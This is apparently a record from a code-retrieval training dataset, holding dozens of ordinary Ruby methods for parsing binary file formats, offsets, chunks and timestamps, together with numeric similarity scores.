LC_SEGMENT\n seg = cmd\n sections = @sections[seg[:segname]]\n seg[:fileoff] = offset\n sections.each do |sect|\n sect[:offset] = offset\n offset += @section_disk_size[sect[:sectname]]\n end\n\n when LC_SYMTAB\n if @reloc_info\n # update text section with relocation info\n __text = @sections[@text_segname][@text_sect_index]\n __text[:reloff] = offset\n __text[:nreloc] = @reloc_info.length\n offset += @reloc_info.first.bytesize * @reloc_info.length\n end\n st = cmd\n st[:symoff] = offset\n offset += st[:nsyms] * Nlist.bytesize\n st[:stroff] = offset\n offset += st[:strsize]\n\n\n # No else clause is necessary, the first iteration should have caught them.\n\n end\n\n end # @load_commands.each\n\n end", "def parse_delta_offset\n offset = -1\n hdr_size = 0\n begin\n hdr = byte\n hdr_size += 1\n continue = hdr & 0b10000000\n low_offset = hdr & 0b01111111\n offset = ((offset + 1) << 7) | low_offset\n end while continue != 0\n return [offset, hdr_size]\n end", "def location_of(offset, group)\n log_no, log_offset = offset.divmod(group.size)\n block_no, block_offset = (log_offset - LOG_HEADER_SIZE).divmod(LOG_BLOCK_SIZE)\n [log_no, block_no, block_offset]\n end", "def parse_cuesheet\n begin\n @cuesheet['block_size'] = @fp.read(3).unpack(\"B*\")[0].to_i(2)\n @cuesheet['offset'] = @fp.tell\n\n @metadata_blocks[-1] << @cuesheet['offset']\n @metadata_blocks[-1] << @cuesheet['block_size']\n\n @fp.seek(@cuesheet['block_size'], IO::SEEK_CUR)\n rescue\n raise FlacInfoReadError, \"Could not parse METADATA_BLOCK_CUESHEET\"\n end\n end", "def parse_index_offset\n return -1 if @isMzData\n r = %r{\\<indexOffset\\>(\\d+)\\<\\/indexOffset\\>}\n seekoffset = -120\n while true \n self.seek(seekoffset, IO::SEEK_END)\n if (r.match(self.read)) then \n return $1.to_i\n end\n seekoffset -= 10\n return -1 if seekoffset <= -1000\n end\n end", "def parse\n start_x = 0\n start_y = 0\n\n @maze.each_with_index do |line, index|\n if line.include? 'S'\n start_y = line.index('S')\n start_x = index\n break\n end\n end\n [start_x, start_y]\n end", "def get_zones_from_block(disk, block)\n disk.seek(block)\n bytes_read = 0\n zones = []\n loop do\n zone = disk.read(2).unpack('S')[0]\n break if bytes_read >= 1024 or zone == 0\n zones << zone\n bytes_read += 2\n end\n return zones\nend", "def get_data\n xoff, yoff, unit = @data.unpack(\"l>l>C\")\n\n if !(unit == 0 || unit == 1)\n warn \"Unrecognised unit value for oFFs chunk: #{unit}.\"\n end\n\n return [xoff, yoff, unit]\n end", "def handle_missing_extent\n @bytecount, @byteoffset, @startblock, @fileoffset, @partition = 0, 0, 0, 0, 'b'\n end", "def split(position)\n end", "def split(position)\n end", "def parse\n read_header\n parse_text_segment\n parse_data_segment\n @data = nil\n end", "def chunk(location)\n offset = C_BYTES + location[:offset]\n offset = location[:offset] * (1024 * 4) # 4KiB\n chunk_length = ByteArray.to_i(bytes(offset..(offset + 3)))\n compression_type = bytes(offset + 4) == [1] ? :gzip : :zlib\n compressed_nbt = chars((offset + 5)..(offset + 5 + chunk_length))\n raise \"Can't uncompress chunk in GZip format\" if compression_type == :gzip\n return nil if offset == 0 # Not created\n Chunk.new(\n nbt: Nbt::parse(Zlib::Inflate.inflate(compressed_nbt)),\n offset: location[:offset],\n byte_offset: offset,\n chunk_length: chunk_length,\n compression_type: compression_type,\n )\n end", "def parse_position(info)\n ## FIXME: push into parse\n if RbConfig::CONFIG['target_os'].start_with?('mingw') and\n info =~ /^[A-Za-z]:/\n drive_letter = info[0..1]\n info = info[2..-1]\n else\n drive_leter = nil\n end\n info = parse_location(info) if info.kind_of?(String)\n case info.container_type\n when :fn\n if (meth = method?(info.container)) && meth.iseq\n return [meth, meth.iseq.source_container[1], info.position,\n info.position_type]\n else\n return [nil] * 4\n end\n when :file\n filename = canonic_file(info.container)\n # ?? Try to look up method here?\n frame =\n if @frame\n container = frame_container(@frame, false)\n try_filename = container[1]\n frame = (canonic_file(try_filename) == filename) ? @frame : nil\n else\n nil\n end\n # else\n # LineCache.compiled_method(filename)\n # end\n return frame, filename, info.position, info.position_type\n when nil\n if [:line, :offset].member?(info.position_type)\n if @frame\n container = frame_container(@frame, false)\n filename = container[1]\n else\n errmsg \"No stack\"\n return [nil] * 4\n end\n\n return @frame, canonic_file(filename), info.position, info.position_type\n elsif !info.position_type\n errmsg \"Can't parse #{arg} as a position\"\n return [nil] * 4\n else\n errmsg \"Unknown position type #{info.position_type} for location #{arg}\"\n return [nil] * 4\n end\n else\n errmsg \"Unknown container type #{info.container_type} for location #{arg}\"\n return [nil] * 4\n end\n end", "def index_psm_positions\n # create an in-memroy index of PSM byteoffsets\n q,p = 0,0\n # move the cursor past the boundary line\n @filehandle.readline\n @filehandle.each do |line|\n break if line =~ @dat.boundary\n line =~ /q(\\d+)_p(\\d+)/\n qq,pp= $1.to_i, $2.to_i\n next if q == qq && p == pp\n q,p = qq,pp\n unless @psmidx.has_key?(q)\n @psmidx[q] = {}\n end\n @psmidx[q][p] = @filehandle.pos - line.length\n end\n @endbytepos = @filehandle.pos - @dat.boundary_string.length\n self.rewind\n end", "def token_pos(byte_offset) # :nodoc:\n [byte_offset - @line_pos, @line]\n end", "def parse_padding\n begin\n @padding['block_size'] = @fp.read(3).unpack(\"B*\")[0].to_i(2)\n @padding['offset'] = @fp.tell\n\n @metadata_blocks[-1] << @padding['offset']\n @metadata_blocks[-1] << @padding['block_size']\n\n @fp.seek(@padding['block_size'], IO::SEEK_CUR)\n rescue\n raise FlacInfoReadError, \"Could not parse METADATA_BLOCK_PADDING\"\n end\n end", "def chunks\n @_chunks ||= find_chunks(input)\n end", "def chunks\n @_chunks ||= find_chunks(input)\n end", "def first_offset; end", "def first_offset; end", "def header_length_for_chunk(offset)\n offset == 0 ? 12 : 1\n end", "def byte_offset(loc) loc.y * line_byte_size + loc.x * pixel_byte_size; end", "def sub_chunks(data_offset: 0, sub_chunk_size_length: @size_length, sub_chunk_header_size: @header_size, sub_chunks_format: @chunks_format, warnings: @warnings, debug: @debug, &callback)\n data_size = self.size\n data_size > 0 ? Riffola.read(@file_name,\n offset: @offset + 4 + @size_length + @header_size + data_offset,\n chunks_format: sub_chunks_format,\n max_size: data_size - data_offset,\n parent_chunk: self,\n warnings: @warnings,\n debug: @debug,\n &callback\n ) : []\n end", "def local_header_offset; end", "def parse_chunk(data)\n return 0 if data.nil?\n return 0 unless data.bytesize == @bytes_expected\n bytes_parsed = 0\n if @bytes_expected > 1\n @magic,@item_count = data.unpack(\"CN\")\n bytes_parsed = 5\n else\n @magic = data.unpack(\"C\").first\n bytes_parsed = 1\n end\n @data = @item_count\n @parse_phase = :item_count\n return bytes_parsed\n end", "def offsets\n\t\t\tto_return = {}\n\t\t\tpiece_length = @parent.file_1.piece_length\n\t\t\t@difference_ids.each do |id|\n\t\t\t\tto_return[id] = id * piece_length\n\t\t\tend\n\t\t\treturn to_return\n\t\tend", "def parse_position(content)\n return content.lstrip.rstrip.to_i\n end", "def parse_raw_data\n data_slices.to_a\n end", "def offset\n Array.new(headers.length, '')\n end", "def parse\n @chunks = parse_chunks extract_chunks decode_blob @blob\n end", "def starting_location\n generate if @sectors.empty?\n sectors.first\n end", "def struct_offsets(definition, offset)\n padding = 0\n offsets = []\n definition.each do |mapping|\n key, data_type = mapping\n if sizeof_type(data_type) > padding\n offset = offset + padding\n end\n\n offsets.push(offset)\n\n offset = offset + sizeof_type(data_type)\n padding = calc_padding(offset)\n end\n\n offsets\n end", "def find_chunks(text)\n meta_info = text.scan(CHUNK_REGEXP)\n returning(chunks = []) do\n split = text.split(CHUNK_REGEXP)\n split.shift\n split.each_with_index do |lines, idx| \n chunks << PrettyDiff::Chunk.new(meta_info[idx], lines)\n end\n end\n end", "def empty_positions(&block)\n positions = []\n each_position do |row, column|\n next if get_cell(row, column)\n yield(row, column) if block_given?\n positions << [row, column]\n end\n positions\n end", "def pos_records\n size_fil_header +\n size_index_header +\n size_fseg_header\n end", "def find_chunks(text)\n meta_info = text.scan(CHUNK_REGEXP)\n chunks = []\n chunks.tap do\n split = text.split(CHUNK_REGEXP)\n split.shift\n split.each_with_index do |lines, idx| \n chunks << MailDiff::Chunk.new(self, meta_info[idx], lines)\n end\n end\n end", "def sections\n (1..section_size).inject([]) do |array, row_offset|\n (1..section_size).inject(array) do |array, column_offset|\n array << section_coordinates(row_offset - 1, column_offset - 1)\n end\n end\n end", "def bytepos; end", "def readBlock(pieceIndex, offset, length)\n readRegions @pieceMapper.findBlock(pieceIndex, offset, length)\n end", "def lookahead_section_header(start_ofs, end_ofs)\n section_ofs = lookahead_u4(start_ofs, end_ofs)\n section_size = lookahead_u4(start_ofs+4, end_ofs)\n if section_ofs == start_ofs and section_size >= 8 and start_ofs + section_size <= end_ofs\n section_size\n else\n nil\n end\n rescue LookaheadFailure\n nil\n end", "def position\n @position ||= begin\n row, column = filename_with_position.split(':').slice(1..2)\n Parsing::Location.new(row: row.to_i, column: column.to_i)\n end\n end", "def parts\n @parts ||= begin\n t = File.open(@file).read\n t = t.force_encoding('UTF-8') if t.respond_to?(:force_encoding)\n m = t.match(/^(.*?)\\n--+\\n(.*)$/m)\n\n if m.nil?\n [{}, t]\n else\n @offset = m[1].count(\"\\n\") + 2\n data = YAML::load(m[1])\n raise ArgumentError unless data.is_a?(Hash)\n [data, m[2]]\n end\n rescue ArgumentError\n [{}, t]\n end\n end", "def offset\n fil_header[:offset]\n end", "def pos_fseg_header\n pos_index_header + size_index_header\n end", "def offset(*) end", "def handle_single_values\n @bytecount = @extentinfo[:extent][:bytecount].to_i || 0\n @byteoffset = @extentinfo[:extent][:byteoffset].to_i || 0\n @startblock = @extentinfo[:extent][:startblock].to_i || 0\n @fileoffset = @extentinfo[:extent][:fileoffset].to_i || 0\n @partition = @extentinfo[:extent][:partition].to_i || 'b' \n end", "def sector\n parts[2]\n end", "def offset; end", "def offset; end", "def offset; end", "def get_record_blocks\n\n blocks = []\n current_block = nil\n\n File.readlines(@file).each do |l|\n\n # start of a new aragorn result\n if l =~ /^Location \\[(\\d+),(\\d+)\\]$/\n\n if current_block\n blocks << parse_block(current_block)\n current_block = []\n else \n current_block = Array.new\n end\n end\n\n if current_block\n current_block << l\n end \n\n end\n unless current_block.nil?\n blocks << parse_block(current_block)\n end\n\n return blocks\n end", "def get_empty_posns \n empty_posns = []\n\n @board.rows.each_with_index do |row, idx1| \n row.each_with_index do |block, idx2| \n if @board.empty?([idx1, idx2])\n empty_posns << [idx1, idx2]\n end\n end\n end\n\n empty_posns\n end", "def recompute_offsets()\n @header.resource_index.number_of_records = @records.length\n # @header.resource_index.next_index = 0 # TODO: How is this determined?\n\n curr_offset = PDB::Header.round_byte_length\n\n # Compute length of index...\n unless @index == []\n @index.each do |i|\n curr_offset += i.length()\n end\n end\n\n unless @appinfo.nil?\n @header.appinfo_offset = curr_offset\n curr_offset += @appinfo.length()\n end\n\n unless @sortinfo.nil?\n @header.sortinfo_offset = curr_offset\n curr_offset += @sortinfo.length()\n end\n\n ## And here's the mysterious two-byte filler.\n #curr_offset += 2\n\n unless @index.length == 0\n @index.each do |i|\n rec = @records[i.r_id]\n i.offset = curr_offset\n curr_offset += rec.length\n end\n end\n end", "def chunks\n (0...chunk_count).map do |chunk|\n offset_start = chunk_size * chunk\n offset_end = [offset_start + chunk_size, body.length].min - 1\n body[offset_start..offset_end]\n end\n end", "def find_first_xref_offset\n @io.seek(-1024, IO::SEEK_END) rescue seek(0)\n data = @io.read(1024)\n\n # the PDF 1.7 spec (section #3.4) says that EOL markers can be either \\r, \\n, or both.\n # To ensure we find the xref offset correctly, change all possible options to a\n # standard format\n data = data.gsub(\"\\r\\n\",\"\\n\").gsub(\"\\n\\r\",\"\\n\").gsub(\"\\r\",\"\\n\")\n lines = data.split(/\\n/).reverse\n\n eof_index = nil\n\n lines.each_with_index do |line, index|\n if line =~ /^%%EOF\\r?$/\n eof_index = index\n break\n end\n end\n\n raise MalformedPDFError, \"PDF does not contain EOF marker\" if eof_index.nil?\n raise MalformedPDFError, \"PDF EOF marker does not follow offset\" if eof_index >= lines.size-1\n lines[eof_index+1].to_i\n end", "def segment_0; segments[0]; end", "def read_segment(io)\n segment = \"\"\n \n # Read up to a chunk's size from the io stream until the \n # segment regex matches.\n #\n # Return nil if there is nothing to be read at all\n while( not segment =~ @segment )do\n return nil if (segment += io.read(@read_chunk) || '' ) == '' \n end\n\n return segment\n end", "def parse_block(b)\n results = {}\n b.each do |line|\n\n if line =~ /^Location \\[(\\d+),(\\d+)\\]$/\n results['beginning'] = $1\n results['end'] = $2\n elsif line =~ /^tmRNA Sequence in\\s(\\w+)/\n results['sequence_acc'] = $1\n elsif line =~ /^Tag peptide:\\s+(.+)/\n results['tag_peptide'] = $1\n end\n end\n\n return results\n end", "def parse_chunk_NMAC stream\n stream.read\n end", "def get_block_data(data, start_word, end_word, end_word_length)\n objects = []\n start_index = 0\n end_index = 0\n\n # this is a bit of cheesy... if someone knows a better way to do this?\n while(not start_index.nil? and not end_index.nil?) do\n start_index = data.index(start_word, end_index)\n\n unless(start_index.nil?)\n end_index = data.index(end_word, start_index)\n\n unless(end_index.nil?)\n objects.push(data.slice(start_index, end_index - start_index + end_word_length))\n end\n end\n end\n\n objects\n end", "def char_offset(byte_offset)\n end", "def parse_section(raw_section)\n case raw_section.length\n when 11 then [raw_section.slice!(0), parse_section(raw_section)].flatten\n when 7, 10 then [raw_section.slice!(0..2), parse_section(raw_section)].flatten\n else raw_section unless raw_section.empty?\n end\n end", "def parse_blank_line; end", "def parse(buf)\n n, count = 0, 0\n while n < buf.size\n key_size, value_size = buf[n, 8].unpack('NN')\n data_size = key_size + 8\n data_size += value_size if value_size != DELETE\n data = buf[n, data_size]\n n += data_size\n unless buf[n, 4] == crc32(data)\n raise 'CRC mismatch: your stash might be corrupted!'\n end\n n += 4\n yield(value_size == DELETE ? [data[8, key_size]] : [data[8, key_size], data[8 + key_size, value_size]])\n count += 1\n end\n count\n end", "def pos_fsp_header\n pos_fil_header + size_fil_header\n end", "def error_chunks(text) \n text.split(/^$/).select(){ |block| block =~ /^(\\d+)\\t([^\\t]+)\\t([^\\t]+)\\t(.+)$/ }\nend", "def get_locations(lines, filename, params)\n positions = Hash.new\n missing_pos = Array.new\n first = true\n\t\n\tif(params[:has_positions])\n\t\tlines.each do |line|\n\t\t\tif first\n\t\t\t\tfirst = false\n\t\t\t\tnext\n\t\t\tend\n\t\t\tdata = strip_and_split(line)\n\t\t\tsnpid = data[@snpid]\n\t\t\tif data[@location] =~ /\\d/\n\t\t\t\tpositions[snpid] = Hash.new\n\t\t\t\tpositions[snpid]['chr'] = data[@chromnum]\n\t\t\t\tpositions[snpid]['chr'] =~ /(\\d+)/ or positions[snpid]['chr'] =~ /(\\w+)/\n\t\t\t\tpositions[snpid]['chr'] = $1\n\t\t\t\tpositions[snpid]['pos'] = data[@location]\n\t\t\telsif data[@snpid] =~ /\\w/\n\t\t\t\t# missing so will try to get information from database\n\t\t\t\tmissing_pos << snpid\n\t\t\tend\n\t\tend\n\n\t\t# if any missing try database for location if have mysql support\n\t\tif @@mysql_support and !missing_pos.empty?\n\t\t\tfinder = SNPpos.new\n\t\t\tsnpsinfo = finder.get_pos(missing_pos)\n\t\t\tstill_missing = Array.new\n\t\t\tmissing_pos.each do |rsid|\n\t\t\t\tif snpsinfo.has_key?(rsid) and snpsinfo[rsid]['chr'] != nil\n\t\t\t\t\tpositions[rsid] = snpsinfo[rsid]\n\t\t\t\telse\n\t\t\t\t\tstill_missing << rsid\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tmissing_pos = still_missing\n\t\tend\n\n\t\tif !missing_pos.empty?\n\t\t\twrite_missing_log(filename, missing_pos)\n\t\tend\n\telse\n\t\t# set arbitrary positions in order of input\n\t\tpos=1\n\t\tlines.each do |line|\n\t\t\tif first\n\t\t\t\tfirst = false\n\t\t\t\tnext\n\t\t\tend\n\t\t\tdata = strip_and_split(line)\n\t\t\tsnpid = data[@snp1] + '_' + data[@snp2]\n\t\t\tnext if positions.has_key?(snpid)\n\t\t\tpositions[snpid] = Hash.new\n\t\t\tpositions[snpid]['chr'] = 1\n\t\t\tpositions[snpid]['pos'] = pos\n\t\t\tpos += 1\n\t\tend\n\tend\n\n return positions\nend", "def parse_position(arg, old_mod=nil, allow_offset = false)\n colon = arg.rindex(':') \n if colon\n # First handle part before the colon\n arg1 = arg[0...colon].rstrip\n lineno_str = arg[colon+1..-1].lstrip\n mf, container, lineno = parse_position_one_arg(arg1, old_mod, false, allow_offset)\n return nil, nil, nil unless container\n filename = canonic_file(arg1) \n # Next handle part after the colon\n val = get_an_int(lineno_str)\n lineno = val if val\n else\n mf, container, lineno = parse_position_one_arg(arg, old_mod, true, allow_offset)\n end\n \n return mf, container, lineno\n end", "def offset\n @offset ||= raw_response['response']['start']\n end", "def on_empty_node_line_segment(attributes, buf, ctx)\n a1 = attributes[:region1].to_i\n b1 = attributes[:area1].to_i\n ab1 = (a1 << 16) | b1\n a2 = attributes[:region2].to_i\n b2 = attributes[:area2].to_i\n ab2 = (a2 << 16) | b2\n v1 = attributes[:v1].to_i\n v2 = attributes[:v2].to_i\n data = [v1, v2, ab1, ab2].pack(\"l*\")\n @stack[-1][3][:data] << data\n end", "def parse_eob_marker; end", "def parse_file!(input_file)\r\n File.open(input_file, \"rb:UTF-8\").each(LOCSTR_END_OF_LINE + \"\\n\") do |line|\r\n strings << line.chomp(LOCSTR_END_OF_LINE + \"\\n\") + \"\\x00\"\r\n end\r\n\r\n @number_of_strings = @strings.size\r\n @offset_to_strings = 8 + 8 * @number_of_strings\r\n end", "def decompose_position(position); end", "def decompose_position(position); end", "def decompose_position(position); end", "def extract_chunks blob\n chunks = Hash.new { |hash, key| hash[key] = [] }\n\n StringIO.open blob do |stream|\n while !stream.eof?\n chunk = read_chunk stream\n chunks[chunk[:id]] << chunk[:payload]\n end\n end\n\n chunks\n end", "def parse_positions(line)\n positions = bracket_positions(line)\n positions.flatten\n end", "def _locations_ordered_for_text_dump\n locations = Hash[(1..23).to_a.map {|row| [row, {}]}]\n @tiles.each {|t| locations [t.row * 4 ] [t.col * 4 - t.row * 2 + 5] = t}\n @up_vtexs.each {|v| locations [v.row * 4 - 3] [v.col * 4 - v.row * 2 + 5] = v}\n @down_vtexs.each {|v| locations [v.row * 4 + 3] [v.col * 4 - v.row * 2 + 5] = v}\n @asc_edges.each {|e| locations [e.row * 4 - 2] [e.col * 4 - e.row * 2 + 4] = e}\n @desc_edges.each {|e| locations [e.row * 4 - 2] [e.col * 4 - e.row * 2 + 6] = e}\n @vert_edges.each {|e| locations [e.row * 4 ] [e.col * 4 - e.row * 2 + 3] = e}\n return locations\n end", "def line_for_offset(offset)\n end", "def get_base_noun_chunks(tokens)\n base_noun_chunks = []\n beg, head = -1, -1\n tokens.each_with_index do |t, i|\n beg = t[:idx] if beg < 0 && NC_CAT.include?(t[:cat])\n head = t[:idx] if beg >= 0 && NC_HEAD_CAT.include?(t[:cat]) && t[:args] == nil\n if beg >= 0 && !NC_CAT.include?(t[:cat])\n head = t[:idx] if head < 0\n base_noun_chunks << {:head => head, :beg => beg, :end => tokens[i-1][:idx]}\n beg, head = -1, -1\n end\n end\n\n if beg >= 0\n raise RuntimeError, \"Strange parse!\" if head < 0\n base_noun_chunks << {:head => head, :beg => beg, :end => tokens.last[:idx]}\n end\n\n base_noun_chunks\n end", "def offset_on_line(offset)\n line_offset = line_index[line_for_offset(offset)-1]\n if multibyte?\n @string.byteslice(line_offset, offset-line_offset).length\n else\n offset - line_offset\n end\n end", "def empty_positions(b)\n b.select { |k, v| v == ' ' }.keys\nend", "def pos_xdes_array\n pos_fsp_header + size_fsp_header\n end", "def read_chunk\n #puts(\"Reading #{BLOCK_SIZE} bytes from offset #{self.head}\")\n \n # Read a block relative to the head pointer offset\n self.last_chunk = File.read(buffer_file.path, BLOCK_SIZE, self.head)\n self.head += BLOCK_SIZE\n \n # If we've read to the end, loop around to the start\n if self.head >= File.size(buffer_file)\n self.head = 0\n end \n end", "def position_in_source\n pos = @locator.pos_on_line(lexing_context[:offset])\n offset = @locator.char_offset(lexing_context[:offset])\n length = @locator.char_length(lexing_context[:offset], lexing_context[:end_offset])\n start_line = @locator.line_for_offset(lexing_context[:offset])\n\n return { :line => start_line, :pos => pos, :offset => offset, :length => length}\n end", "def read_offset(fp)\n byte = Support::HexString.from_bin(fp.read(1)).ord\n tot = byte & 0x7f\n while (byte & 0x80) > 0\n byte = Support::HexString.from_bin(fp.read(1)).ord\n tot = ((tot + 1) << 7) | (byte & 0x7f)\n break if (byte & 0x80) == 0\n end\n tot\n end", "def offsetsAndConfigurationIndex(file)\n endiannessMarkerBytes = nil\n result = {}\n \n def readInt(endianness, bytes)\n if endianness == :little\n # Little endian\n (bytes[0] << 0 |\n bytes[1] << 8 |\n bytes[2] << 16 |\n bytes[3] << 24)\n else\n # Big endian\n (bytes[0] << 24 |\n bytes[1] << 16 |\n bytes[2] << 8 |\n bytes[3] << 0)\n end\n end\n \n def prepareMagic(endianness, numbers)\n magicBytes = []\n numbers.each {\n | number |\n currentBytes = []\n 4.times {\n currentBytes << (number & 0xff)\n number >>= 8\n }\n if endianness == :big\n currentBytes.reverse!\n end\n magicBytes += currentBytes\n }\n magicBytes\n end\n \n fileBytes = []\n \n File.open(file, \"rb\") {\n | inp |\n loop {\n byte = inp.getbyte\n break unless byte\n fileBytes << byte\n }\n }\n \n def sliceByteArrays(byteArray, pattern)\n result = []\n lastSlicePoint = 0\n (byteArray.length - pattern.length + 1).times {\n | index |\n foundOne = true\n pattern.length.times {\n | subIndex |\n if byteArray[index + subIndex] != pattern[subIndex]\n foundOne = false\n break\n end\n }\n if foundOne\n result << byteArray[lastSlicePoint...index]\n lastSlicePoint = index + pattern.length\n end\n }\n \n result << byteArray[lastSlicePoint...(byteArray.length)]\n \n result\n end\n \n [:little, :big].each {\n | endianness |\n headerMagicBytes = prepareMagic(endianness, OFFSET_HEADER_MAGIC_NUMBERS)\n magicBytes = prepareMagic(endianness, OFFSET_MAGIC_NUMBERS)\n \n bigArray = sliceByteArrays(fileBytes, headerMagicBytes)\n unless bigArray.size <= 1\n bigArray[1..-1].each {\n | configArray |\n array = sliceByteArrays(configArray, magicBytes)\n index = readInt(endianness, array[1])\n offsets = []\n array[2..-1].each {\n | data |\n offsets << readInt(endianness, data)\n }\n result[index] = offsets\n }\n end\n }\n \n raise MissingMagicValuesException unless result.length >= 1\n \n # result is {index1=>offsets1, index2=>offsets2} but we want to return\n # [[offsets1, index1], [offsets2, index2]].\n return result.map {\n | pair |\n pair.reverse\n }\nend", "def normalize_offset(offset); end", "def find_start_and_finish\n grid.each_with_index do |row, row_idx|\n row.each_with_index do |spot, col_idx|\n if spot == START_MARK\n @start = [row_idx, col_idx]\n elsif spot == END_MARK\n @finish = [row_idx, col_idx]\n end\n end\n end\n end", "def decode_parts(raw_instruction)\n nnn = raw_instruction & 0x0fff\n kk = raw_instruction & 0x00ff\n x = (raw_instruction >> 8) & 0xf\n y = (raw_instruction >> 4) & 0xf\n n = raw_instruction & 0x000f\n {\n nnn: nnn,\n kk: kk,\n x: x,\n y: y,\n n: n\n }\nend", "def pos_inode_array\n pos_list_entry + size_list_entry\n end", "def extract_text(offset, length)\n end", "def parse\n result = {}\n content = file_content\n\n s = content.index(BLOCK_START_DELIMITER)\n e = content.index(BLOCK_END_DELIMITER)\n\n while s && e\n s += BLOCK_START_DELIMITER.size\n block = content[s..e-1]\n\n key, value = parse_block(block)\n result[key] = value\n\n e += BLOCK_END_DELIMITER.size\n content = content[e..-1]\n\n s = content.index(BLOCK_START_DELIMITER)\n e = content.index(BLOCK_END_DELIMITER)\n end\n\n return result\n end", "def substring_offsets(sub)\n offsets = @index[sub[0]]\n i = 0\n\n while offsets.size > 0 && i < sub.size do\n offsets = offsets.select { |j| j < @str.size && @str[j] == sub[i] }.map!(&:succ)\n i += 1\n end\n\n i == sub.size ? offsets.map! { |j| j - sub.size } : []\n end", "def tell; @next_block_pos end", "def to_offset(text, position); end", "def _calculate_column_offsets\n total = 0\n coffsets = []\n ctr = 0\n ## ix will have gaps in between for hidden fields\n each_column { | c, ix|\n v = c.width\n coffsets[ctr] = total\n ctr += 1\n total += v + 2 ## blank space plus separator\n }\n return coffsets\n end" ]
[ "0.606822", "0.5671967", "0.5565513", "0.5539293", "0.54782075", "0.546624", "0.5439181", "0.54218227", "0.5415949", "0.5408346", "0.5375469", "0.53612405", "0.53612405", "0.5359969", "0.53538597", "0.5352803", "0.53192264", "0.53177345", "0.5305644", "0.5294771", "0.5294771", "0.5289081", "0.5289081", "0.5273651", "0.5259971", "0.5232206", "0.51991767", "0.51920986", "0.5173105", "0.5145189", "0.5142038", "0.5140465", "0.51379377", "0.51333225", "0.5124387", "0.5113653", "0.5104537", "0.5075976", "0.5074196", "0.50725657", "0.5049177", "0.50435114", "0.5043463", "0.5029644", "0.5027555", "0.50275385", "0.5022692", "0.5007807", "0.50007504", "0.49946728", "0.4987078", "0.4987078", "0.4987078", "0.4987048", "0.49599344", "0.4951115", "0.49433964", "0.49430272", "0.49326196", "0.49184316", "0.49101257", "0.49098286", "0.49084643", "0.49018827", "0.49017534", "0.4899303", "0.4893393", "0.48798227", "0.4873983", "0.4865511", "0.486286", "0.48616856", "0.4849545", "0.48250648", "0.48237574", "0.48236343", "0.48236343", "0.48236343", "0.4822268", "0.48156378", "0.48150468", "0.48038286", "0.47975582", "0.47926393", "0.478776", "0.47857007", "0.4785299", "0.47841674", "0.47685945", "0.47684258", "0.47656563", "0.47655994", "0.4764968", "0.47603804", "0.47602358", "0.4759171", "0.47586066", "0.47554046", "0.4750014", "0.47453782" ]
0.66109675
0
Timestamps are 4 bytes read with Timeat
def timestamps @timestamps ||= bytes[T_BYTES].each_slice(4).map do |t_bytes| ByteArray.to_i(t_bytes) end.reject{ |t| t == 0 } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def timestamp(time)\n date = @file[/(\\w+ \\d+, \\d+)/]\n ASF::Board::TIMEZONE.parse(\"#{date} #{time}\").to_i * 1000\n end", "def load_timestamp(fname)\n stamps = []\n File.open(fname).read().each_line do |line|\n parsed = line.strip().split() \n stamps << [parsed[2].to_f, parsed[3].to_f, parsed[4].to_f, parsed[5].to_f, parsed[6].to_f]\n end\n return stamps\nend", "def parse_timestamps\n self.keys.each do |key|\n self[key].map! do |timestamp| \n timestamp.is_a?(Time) ? timestamp : Time.parse(timestamp)\n end\n end\n end", "def read_time # :nodoc:\n\t rt_sec, rt_usec = rio.read(TIME_SIZE).unpack('VV')\n\t Time.at(rt_sec, rt_usec)\n\tend", "def extract_ts(chunks)\n ts = chunks[fmt.index('t')]\n return parse_time(ts) if valid_timestamp?(ts)\n rescue TypeError\n Time.now.utc.to_i\n end", "def get_data\n data = @data.unpack(\"C*\")\n year = data[0..1]\n year = Shared::interpret_bytes_2(year)\n #Year, Month, Day, Hour, Min, Sec, UTC\n return Time.new(year, data[2],\n data[3], data[4],\n data[5], data[6], \"UTC\")\n end", "def timestamp\n return nil if grpc.nil?\n Convert.timestamp_to_time grpc.read_timestamp\n end", "def parse_timestamps\n super\n @updated = updated.to_i if updated.is_a? String\n @updated = Time.at(updated) if updated\n end", "def timestamp\n _timestamp.as_time\n end", "def scts\n (\n @opts[:time].strftime(\"%y%m%d%H%M%S\") +\n sprintf( \"%02d\", (@opts[:time].gmt_offset / 60 / 15) )\n ).semi_octet_encode.hex_to_bin\n end", "def decode_time(raw, offset=0)\n time_raw, read = decode_uint64(raw, offset)\n [Time.at(time_raw), read]\n end", "def received_at\n return nil unless (temp_extended_received_at = read_attribute(:received_at))\n temp_received_at1 = encrypt_remove_pre_and_postfix(temp_extended_received_at, 'received_at', 5)\n temp_received_at2 = YAML::load(temp_received_at1)\n temp_received_at2 = temp_received_at2.to_time if temp_received_at2.class.name == 'Date'\n temp_received_at2\n end", "def parse_timestamps\n @created = created.to_i if created.is_a? String\n @created = Time.at(created) if created\n end", "def handle_ts\n handle_at\n handle_in\n @time_special = @tokens[@index].get_tag(TimeSpecial).type\n @index += 1\n @precision = :time_special\n end", "def test_timestamp_valid\n parser = Parser::new\n timestamp = \"1518893687.562508000\"\n assert_equal([1518893687, 562508000], parser.parse_timestamp(timestamp))\n end", "def timestamp; end", "def timestamp; end", "def timestamp; end", "def timestamp; end", "def timestamp; end", "def timestamp; end", "def timestamp\n timestamp_to_datetime(static_data(\"timestamp\"))\n end", "def timestamp_value\n @timestamp_value ||=\n ((@time_hi_and_version & 0b1111_1111_1111) << 48) |\n (@time_mid << 32) | @time_low\n end", "def timestamp\n _timestamp.as_time\n end", "def timestamp t\n\n\t\t::Pantheios::Core.timestamp t, nil\n\tend", "def getTimestamps(cfg)\n hw_ts = nil\n sw_ts = nil\n cfg.each do |c|\n # Here, the first two 64-bit fields are sw stamps, two are not used,\n # and the last two contains the hw stamp we are looking for.\n if c.cmsg_is?(:SOCKET, Socket::SO_TIMESTAMPING)\n hw_ts = c.data.unpack(\"q*\")[4..5]\n elsif c.cmsg_is?(:SOCKET, Socket::SO_TIMESTAMPNS)\n sw_ts = c.data.unpack(\"qq\")\n end\n\n end\n return sw_ts,hw_ts\n end", "def timestamp\n attribute_prop(4)\n end", "def times\n @stamps\n end", "def parse_srt_times(times)\n times =~ /^([0-9:,]+) --> ([0-9:,]+)/ # May have trailing data.\n [$1, $2].map {|t| parse_srt_time(t) }\n end", "def parse_time(file_time_struct)\n wtime_to_time(make_uint64(file_time_struct[:dw_low_date_time],\n file_time_struct[:dw_high_date_time]))\n end", "def at\n Timestamp.utc(@timestamp_value)\n end", "def to_binary_dos_time; end", "def 